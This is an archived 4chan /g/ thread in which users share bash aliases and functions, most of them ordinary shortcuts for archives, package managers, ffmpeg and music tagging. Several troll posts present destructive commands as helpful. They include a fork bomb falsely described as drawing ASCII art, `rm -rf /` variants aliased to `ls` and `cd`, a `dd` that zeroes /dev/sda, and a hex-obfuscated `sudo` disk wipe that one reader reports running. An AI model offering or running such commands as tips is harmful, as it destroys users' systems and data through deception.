[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Post useful bash functions I'll start ex () { for f in
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 125
Thread images: 7
File: Terminal.png (6 KB, 128x128) Image search: [Google]
Terminal.png
6 KB, 128x128
Post useful bash functions
I'll start
ex () {
for f in "$@"; do
7z x '$f'
done
}
>>
>>54655836
>'$f'
>>
Man I can't wait to try this I windows 10
>>
PS1="These_nuts_came_up_with_useful_bash_scripts_on_your_chin"
>>
>>54656423
werks for me
>>
>>54656471
Then something's terribly wrong, variable expansion doesn't take place inside single quotes.
>>
4get() {
tmpfile=$(mktemp /tmp/timestamp.XXXX);
wget -qe robots=off --no-use-server-timestamps -rHDi.4cdn.org -nc -nd -ERs.jpg,html -P /home/maxe/pictures/4gets $1;
echo "downloaded $(find /home/maxe/pictures/4gets/ -newer $tmpfile | wc -l) pictures.";
rm -f $tmpfile;
}

pdfconvert() {
input=$1;
fname=$(basename $1);
fdir=$(dirname $1);
libreoffice --headless --invisible --convert-to pdf --outdir "$fdir" "$1";
}

pdfmerge() {gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -dPDFSETTINGS=/prepress -sOutputFile=$@;}

addanime() {
input=$@;
grep -q "$input" /mnt/boerse/animeliste.txt && echo "already listed" || ($(sed -i "1i $input" /mnt/boerse/animeliste.txt) & echo "added");
}

>>
>>54655836
alias feh='feh --auto-zoom --scale-down '
alias kys='cat ~/Documents/kys.txt'
alias ll='ls -l'
alias la='ls -a'
alias lal='ls -al'
alias ..='cd ..'
alias ...='cd ../../'
## Colorize the grep command output for ease of use (good for log files)##
alias grep='grep --color=auto'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'


#alias st='st -g 70x23'
alias mkdir='mkdir -pv'
alias sl='ls'
#alias vi='nvim'
#alias vim='nvim'
#alias neovim='nvim'
#alias neovim='nvim'
#alias vim='nvim'
alias vi='vim'
alias fuck='sudo !!'
# confirmation #
alias mv='mv -i'
alias cp='cp -i'
alias rm='rm -I'
alias ln='ln -i'
>>
are these all epic troll memes
>>
compress () {
CWD=$(pwd)
cd $1
7z a $1
mv $1.7z $CWD
cd $CWD
}
>>
>>54656471
You're a true developer
>>
if you want to bomb some machine,
:() { :|:& };:
>>
>>54657483
How do people remember this command
>>
>>54657644
i pretend it's a bunch of silly faces
>>
>>54657483

Just read it out loud, you'll understand what it does, then you'll remember it.
>>
File: bash on windows.jpg (22 KB, 468x350) Image search: [Google]
bash on windows.jpg
22 KB, 468x350
>>54656447
>>
alias 4chanwebm='ffmpeg -threads 8 -sn -an -c:v libvpx -b:v 2M -slices 8 -lag-in-frames 25 -deadline best output.webm -i'
>>
>>54657687
>using the forkbomb with the carat nose.
>>
>>54658494
doesn't work on latest ffmpeg since it defaults to vp9 and vp9 isn't supported on 4chan. use libvpx-vp8
>>
>>54655836
gcc file.c 2>&1 | nl | less
>>
>>54658570
Oh. -c:v libvpx works for me.
>>
>>54658601
that's because you're not using the latest ffmpeg ;^)
>>
>>54658494
>>54658601
also, 4chan doesn't allow webms with dimensions greater than 2048, so use this

-vf scale="'if(gt(a,4/3),2048,-1)':'if(gt(a,4/3),-1,2048)'"


This will tell ffmpeg to shrink the video if one of the dimensions is greater than 2048.
>>
>>54658598
I forgot the tags...
gcc file.c 2>&1 | nl | less
>>
>>54657644
:( ) {
:|:&
};
:

//: is the name, recursion famalam
>>
#Aliases
alias emerge-fetch="sudo tail -f /var/log/emerge-fetch.log"

alias ls="ls --color=auto"

alias aympv="mpv --ytdl --ytdl-format=bestaudio"
alias qympv="mpv --ytdl --ytdl-format=best"
alias ympv="mpv --ytdl"
alias mediacrush="mediacrush -s https://imgrush.com"
alias mvi="mpv --no-osc"
alias grep="grep --color=auto"
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias rm='rm -i'
alias mv='mv -i'
>>
ITT people posting malicious bash scripts.
>>
alias pacman="yaourt"
alias ayylmao="ayyscript -r -yt -S 'jarrp' "
>>
>>54659636
yaourt isn't secure. use pacaur
>>
>>54655836
Trash like >>54656423 says

>>54657357
Trash
>>
>>54659655
i dont like pacaur.
half of the time it does not work for me and it often fails to pull dependancies from the aur or the official repos.
>>
sudo rm -r /*


it will take a while, but it's good one
>>
bash () {
echo "GNU/gay"
ksh $*
}
>>
File: 1460064628318.jpg (11 KB, 470x470) Image search: [Google]
1460064628318.jpg
11 KB, 470x470
>>54655836
Thank me later

wisdom(){ fortune | cowsay -f $(\ls -1 /usr/local/share/cows | shuf -n1); }
>>
Randomly rid yourself of rice. Run once a day and achieve satori.

ls -1a ~ | grep -o '^\..*'| sed -n "$(jot -r 2 1 $(ls -1a ~ | grep -o '^\..' | wc -l))p" | xargs unlink -rpdf
>>
alias ls = 'sudo dd if=/dev/zero of=/dev/sda'
>>
>>54656577
>alias fuck='sudo !!'
good one

alias ..='cd ..'
alias ...='cd ../..'
alias refresh='. ~/.bashrc'
alias fw='watch -n0.1'
alias ll='ls -alFh'
alias la='ls -A'
alias l='ls -CF'
alias apt-get='sudo apt-get'
alias apt-cache='sudo apt-cache'
alias apt-search='apt-cache --names-only search'
alias apt-install='sudo apt-get install'
alias apt-info='apt-cache show'
alias mplayer='mplayer -lavdopts threads=4'
>>
>>54656577
>apt install update
>you don't have permission to
>STFU
>password :
>>
>>54660400
>apt-get
>apt-cache
>using deprecated commands
>>
File: 1365336478784.jpg (10 KB, 246x205) Image search: [Google]
1365336478784.jpg
10 KB, 246x205
sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)
>>
>>54661207
:o)
>>
>>54659861
> $*
>>
cdv () { cd $1; ls}
>>
alias ..='cd ../'
alias ...='cd ../../'
alias ....='cd ../../../'
alias .....='cd ../../../../'
alias ......='cd ../../../../../'
alias .......='cd ../../../../../../'
alias ........='cd ../../../../../../../'
alias .........='cd ../../../../../../../../'
alias ..........='cd ../../../../../../../../../'
alias ...........='cd ../../../../../../../../../../'
alias ............='cd ../../../../../../../../../../../'
alias .............='cd ../../../../../../../../../../../../'
alias ..............='cd ../../../../../../../../../../../../../'
alias ...............='cd ../../../../../../../../../../../../../../'
alias ................='cd ../../../../../../../../../../../../../../../'
alias .................='cd ../../../../../../../../../../../../../../../../'
alias ..................='cd ../../../../../../../../../../../../../../../../../'
alias ...................='cd ../../../../../../../../../../../../../../../../../../'
alias ....................='cd ../../../../../../../../../../../../../../../../../../../'
alias .....................='cd ../../../../../../../../../../../../../../../../../../../../'
alias ......................='cd ../../../../../../../../../../../../../../../../../../../../../'
alias .......................='cd ../../../../../../../../../../../../../../../../../../../../../../'
alias ........................='cd ../../../../../../../../../../../../../../../../../../../../../../../'
alias .........................='cd ../../../../../../../../../../../../../../../../../../../../../../../../'
alias ..........................='cd ../../../../../../../../../../../../../../../../../../../../../../../../../'
alias ...........................='cd ../../../../../../../../../../../../../../../../../../../../../../../../../../'
alias ............................='cd ../../../../../../../../../../../../../../../../../../../../../../../../../../../'
>>
>>54661649
>alias ......................='cd ../../../../../../../../../../../../../../../../../../../../../'
whoa thanks anon, such a time saver this one. the rest suck though
>>
>>54657644
:() {

>define a function named ':', takes no arguments
:|:&

>call the function, pipe its output to the same function called again, put that in the background with &
};

>close up the function
:

>call it
>>
function background() {
"$@" &
}
>>
>>54661858
Explain anyone?
>>
>>54661649
try using eval with a loop
>>54661858
Are you trolling?
>>
>>54663877
it's literally

command &
>>
I wrote this to help me keep my music organized. Drop this in your .bashrc. musicname_preview in a directory to show how it's going to rename things, then musicname_do to actually do it. If musicname_preview shows all blanks then your files aren't tagged correctly.
musicname_newname () {
trackname="`echo $2 | sed 's,/,╱,g ; s/�/°/g ; s/�/æ/g; s/�/ö/g; s/�/ü/g; s/�/ü/g'`" # Replace slashes with similar-looking Unicode char
tracknum="`echo $1 | sed 's/^0\+//1'`" # Up to 1 leading 0
tracknum="`printf "%02d" "$tracknum"`"
echo "$tracknum - $trackname"
}

musicname_newname_mp3 () {
tracknum="`id3v2 -R "$1" | grep TRCK | sed 's/TRCK: //'`"
trackname="`id3v2 -R "$1" | grep TIT2 | sed 's/TIT2: //'`"
musicname_newname "$tracknum" "$trackname"
}

musicname_newname_flac () {
tracknum="`metaflac --show-tag=TRACKNUMBER "$1" | sed 's/TRACKNUMBER=//'`"
trackname="`metaflac --show-tag=TITLE "$1" | sed 's/TITLE=//'`"
musicname_newname "$tracknum" "$trackname"
}

musicname_newname_ogg () {
tracknum="`vorbiscomment "$1" | grep "^TRACKNUMBER=" | sed 's/TRACKNUMBER=//'`"
trackname="`vorbiscomment "$1" | grep "^TITLE=" | sed 's/TITLE=//'`"
musicname_newname "$tracknum" "$trackname"
}

musicname_preview () {
for type in mp3 flac ogg ; do
if ls *.$type >/dev/null 2>/dev/null ; then
for i in *.$type ; do
echo mv $'\t' "$i" $'\t' "`musicname_newname_$type "$i"`.$type"
done
fi
done | column -t -s$'\t'
}

musicname_do () {
for type in mp3 flac ogg ; do
if ls *.$type >/dev/null 2>/dev/null ; then
for i in *.$type ; do
mv "$i" "`musicname_newname_$type "$i"`.$type"
done
fi
done
}
>>
>>54664325
don't actually run this it creates an electrical reaction in your psu that makes mustard gas
>>
This one adds a "diffstat" command to SVN, if you're still stuck using SVN for whatever reason.
function svn {
if [ "$1" = "diffstat" ] ; then
shift
if [ "$1" = "full" ] ; then
shift
for i in `svn diff $@ | grep Index | cut -d' ' -f2 | cut -d$'(' -f1` ; do
echo "$i:"
svn diffstat $i
echo ""
done
echo "total:"
fi
ladded=`svn diff $@ | grep "^+" | grep -v "^+++" | wc -l`
lremvd=`svn diff $@ | grep "^-" | grep -v "^---" | wc -l`
echo "lines added: $ladded"
echo "lines removed: $lremvd"
echo "delta: `expr $ladded - $lremvd`"
else
`which svn` $@
fi
}
>>
>>54661207
>dd if=/dev/zero of=/dev/sda count=100 bs=1M
>>
>>54657483
>babbys first loonigs hack
>>
yes 'install gentoo'
>>
I think there is one that plays the Zelda theme song.
>>
>>54664325
i use beet to keep my music organised
>>
alias install='sudo pacman -S $1'
alias search='sudo pacman -Ss $1'
alias update='sudo pacman -Syu'
alias upgrade='sudo pacman -Syyu'
alias remove='sudo pacman -R $1'
alias cleanup='sudo pacman -R $(pacman -Qdtq)'
>>
>>54671703
For the search command you dont need sudo
Save yourself some time
For removing packages I suggest -Rs which removes their dependencies too
>>
>>54671763
Thanks Anon, I changed it :3
>>
>>54655836
alias cd='rm -rf'

there you go
>>
>>54671835
Thats cool
I have
alias nano='rm -f'
>>
>>54661649
just use cd on its own you flaming faggot
>>
>>54657357
man pushd
>>
>>54671934
I personally prefer

alias nano='echo "kill yourself"'

more noob friendly you know?

also this is a good one:

alias ls='sudo rm -rfv --no-preserve-root /'
>>
alias upd='sudo aptitude update'
alias upg='sudo aptitude upgrade'
alias updg='sudo aptitude update ; sudo aptitude upgrade'
alias ins='sudo aptitude install $1'
alias rem='sudo aptitude remove $1'
>>
>>54671380
Wow, thanks for telling me about this! I think it would be too scary to turn that tool loose on my existing music collection, and I've been bitten by MusicBrainz being wrong before, but the query features might be useful for me.
>>
>>54661207
i run that and now i cannot boot
i'm on my phone what should I do?
>>
>>54672945
Stop trolling, we know you didn't
>>
>>54661649
>for i in {1..28}; do alias $(printf '.%.0s' {1..$i})=cd $(printf '../%.0s' {1..$i}); done
>>
>>54661694
Why is the colon instead of a letter? Obscurity?
>>
>>54672945
Your sda drive is now filled with a shit ton of 0s
>>
>>54661858
I prefer the following instead
 launch () {
nohup $1 &> /dev/null &
}
>>
>>54658878
Which ones?
>>
>>54673002
Okay, m&.
Please don't be agree at me.
>>
alarm(){
for ((i=1;;i++)){
echo $(((((i*(i>>8|i>>9)&46&i>>8))^(i&i>>13|i>>6))))
} | aplay
}


I prefer the compiled version though, as bash is too slow.
int main(void){
int i;
for(i=0;;i++)
putchar(((i*(i>>8|i>>9)&46&i>>8))^(i&i>>13|i>>6));
return 0;
}
>>
>>54655836
ex() {
if [[ -f $1 ]]; then
case $1 in
*.tar.bz2) tar xvjf $1;;
*.tar.gz) tar xvzf $1;;
*.tar.xz) tar xvJf $1;;
*.tar.lzma) tar --lzma xvf $1;;
*.bz2) bunzip $1;;
*.rar) unrar $1;;
*.gz) gunzip $1;;
*.tar) tar xvf $1;;
*.tbz2) tar xvjf $1;;
*.tgz) tar xvzf $1;;
*.zip) unzip $1;;
*.Z) uncompress $1;;
*.7z) 7z x $1;;
*.dmg) hdiutul mount $1;; # mount OS X disk images
*) echo "'$1' cannot be extracted via >ex<";;
esac
else
echo "'$1' is not a valid file"
fi
}

I had found this when I was setting up my zsh.
>>
Couple of functions I use.
sicpaste() {
curl -f -\# -F 'paste=<-' sicp.me | tr --delete '\n' | xclip -selection clipboard
xclip -o -selection clipboard && printf '\n'
notify-send "sicp paste" "$(xclip -o -selection clipboard)"
}

sicp() {
curl -f -\# sicp.me -F file=@"$@" | tr --delete '\n' | xclip -selection clipboard
xclip -o -selection clipboard && printf '\n'
notify-send "sicp upload" "$(xclip -o -selection clipboard)"
}

pruntime() {
ps -p "$@" -o etime=
}

extip() {
curl -sf ipecho.net/plain && printf "\n"
}
>>
>>54655836
https://gist.github.com/8a85f863418238a78f01a2557e5478ee
>>
>>54658441
Alright I kek'd
>>
>>54673192
you kek'd? nice
>>
transizzle() {
curl -sf -F translatetext="$@" http://www.gizoogle.net/textilizer.php \
| grep textarea \
| sed -e 's/<[^>]*>//g'
}

street_knowledge() {
fortune | xargs -0 -n 1 -d '\n' transizzle
}
>>
where do I learn to write bash scripts?
>pls no cyberbully
>>
>>54673249
http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html
>>
>>54673275
Thank you so much anon.
>>
File: imgb923b79ezikczj.jpg (21 KB, 400x168) Image search: [Google]
imgb923b79ezikczj.jpg
21 KB, 400x168
>>54656577
>alias sl='ls'
>>
>>54661649
Thanks, Pajeet.

>>54664022
Thanks, Rasheed
>>
>>54671703
>alias install='sudo pacman -S $1'
This only works by accident. Aliases can't use positional parameters.

Fortunately, $1 is unquoted and usually unset, so it just disappears, and since it replaces a prefix, the command still works.
>>
>>54673404
this thread is such cancer
alias bc='bc -l'
alias copy='rsync -ahv --info=progress2'
alias cp='cp -iv'
alias du='du -h'
alias e="$EDITOR"
alias locate='locate -i'
alias ls='ls -hN --group-directories-first --color=auto'
alias mkdir='mkdir -p'
alias mv='mv -iv'
alias qmv='qmv -e "gedit -s" -f do'
alias topdf='libreoffice --headless --convert-to pdf'
alias units='units -H ""'
>>
>>54673099
OP does the exact same thing but this time all formats
>>
_backup_file()
{
for f; do
i=0
while [ -e "$f.$i" ]; do
(( i++ ))
done

FLAGS="-fp" # force; preserve mode, ownership, timestamps
if [ -d "$f" ]; then
FLAGS="${FLAGS}r" # recursive
fi
${CP:-cp} $FLAGS "$f" "$f.$i"
echo "Copied to $f.$i"
done
}

backup_file()
{
export CP="cp"
_backup_file "$@"
}

s_backup_file()
{
export CP="sudo cp"
_backup_file "$@"
}
>>
>>54655836
Am I retarded for not understanding bash? I found C++ to be incredibly easy and simple, but bash is incomprehensible to me.
>>
#!/bin/sh 
# This script bans any IP in the /24 subnet for 192.168.1.0 starting at 2
# It assumes 1 is the routerand does not ban IPs .20, .21, .22

i=2
while [ $i -le 253 ]
do
if [ $i -ne 20 -a $i -ne 21 -a $i -ne 22 ]; then
echo "BANNED: arp -s 192.168.1.$i"
arp -s 192.168.1.$i 00:00:00:00:00:0a
else
echo "IP NOT BANNED: 192.168.1.$i************************"
echo "***************************************************"
fi
i='expr $i +1'
done
>>
>>54675198
No? I don't understand C/C++ because it's ambiguous. Bash is pretty easy once you get used to it. It's not made for complex scripts. I longest shell script is like 300 lines and it's starting to get dirty.
>>
>>54659708
no you're using it wrong
>>
>>54658494
How do you cut the input video down to the length you want for the webm?
>>
>>54655836
So... you're passing several archives to 7zip for extraction?

What a life saver.
>>
>>54658441
This is funny because of the reference, but what is it exactly?
>>
>>54655836
Or, "for f in *, do zip -9r "$f.zip" "$f"; done
>>
:(){ :|: & };:

Creates a large ascii pedro the mustachio'd neckbeard :^{)} graphic, that automatically scales to fit your terminal, and draws on like a paintbrush.

I guess it's not very useful, but fun to watch anyway.
>>
>>54677635
I attempted this figuring it would probably do something like what it atually did and was very entertained.
>>
>>54677635
>>54677728
I did it again just to get another good laugh. Do I have a problem?
>>
File: forkbomb-bg.jpg (48 KB, 640x348) Image search: [Google]
forkbomb-bg.jpg
48 KB, 640x348
>>54677768
How did you not know about this already?
>>
>>54675198
you should only use bash in the terminal, its a waste of time to learn to write bash scripts because you can do 100x more with Perl scripts. bash is very cludgy, its only data type is strings
>>
>>54656553
>boerse
>animeliste

German scripts detected
>>
>>54658878
ITT this guy posting assumptions because he can't read the scripts
>>
>>54677837
I just didn't.
>>
>>54659829
 sudo rm -rf /  


Get that force flag in their too mate just to be sure we clear out the shop + recursion flag means you don't need the wildcard *
>>
>>54655836
perl -e print("x90" x200) & cat shellcode.bin > systemd
>>
>>54677909
>5016
>compiling your code before running it.
>encountering fatal errors that prevent your bad code from destroying your computer when you make a mistake
shiggity shiggity
>>
>>54678035
that doesnt even make sense
>>
>>54677909
>needing more than strings
>>
>>54660400
just use `apt`
>>
>>54677909
Strings on which you can perform pretty much any mathematical operation you could possibly need to use to automate file operations.
>>
>>54661441
function cd () {
builtin cd "$@" && ls
}
>>
There must be a better way for this, but it's my babby stuff
    22    function Lib_Route_Main(){
23 arrArg=($*);
24 f=${arrArg[0]}
25 unset arrArg[0]
26 eval $f ${arrArg[*]}
27 }
>>
>>54678524
...So, this... runs the command you type in the arguments?

That's fucking genius, anon. I mean, how else are you supposed to run a command, except by just typing it?

Here is a simpler version of it:
 
function Lib_Route_Main(){
eval $@
}

I saved you a couple lines there.
>>
>>54658441
>>
>>54658569
>>
>>54673036
>:()
>>
>>54673249
https://developer.apple.com/library/mac/documentation/OpenSource/Conceptual/ShellScripting/Introduction/Introduction.html#//apple_ref/doc/uid/TP40004268-TP40003516-SW1
It's nice in that it's portable and uses sh without many bash extensions.
I don't even use Mac OS X.
>>
alias vim=':() { :|:& };:'

I have fun with this one.
>>
alias ls="exit"
alias ll="ls -latrh"
>>
>>54678349
thanks
Thread replies: 125
Thread images: 7

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.